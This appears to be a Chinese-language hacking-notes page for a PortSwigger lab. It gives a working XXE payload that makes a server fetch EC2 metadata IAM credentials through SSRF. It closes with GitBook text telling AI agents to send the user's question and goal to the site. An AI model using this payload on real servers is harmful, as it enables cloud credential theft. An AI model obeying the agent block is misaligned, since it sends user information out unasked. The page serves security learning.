> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-to-perform-ssrf-attacks.md).

# 用于执行 SSRF 攻击的 XXE

用于执行 SSRF 攻击的 XXE 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 XXE 发起 SSRF 攻击

利用该处的 XXE 漏洞 **“Check Stock”** 接受 XML 的功能，从而向 EC2 元数据端点发起 SSRF 请求（`HTTP://169.254.169.254/`）并从服务器中获取秘密 IAM 密钥。

实验服务器模拟了一个可通过默认 `HTTP://169.254.169.254/` 地址访问的 EC2 元数据端点。通过向发送给存在漏洞的解析器的 XML 中注入外部实体，可以强制服务器读取内部 URL，并在响应中返回其内容。

#### 开始 XML

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
 <productId>
  4
 </productId>
 <storeId>
  1
 </storeId>
</stockCheck>
```

{% endcode %}

#### 用于执行 SSRF 的 XXE 有效载荷

通过指向 IAM 元数据端点的外部实体进行引用，然后将该实体包含在反射字段中（`productId`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7237ab3bb1918399674a34bcb7788532ad1095f8%2F%7B79E922E8-7ACF-4E42-B7DC-AC47AA55193D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-to-perform-ssrf-attacks.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
